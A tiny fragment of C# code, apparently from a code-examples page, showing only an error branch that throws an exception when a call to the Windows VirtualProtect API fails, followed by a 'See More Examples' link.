                throw new PInvokeException("Failed to call VirtualProtect");
            }
        }

See More Examples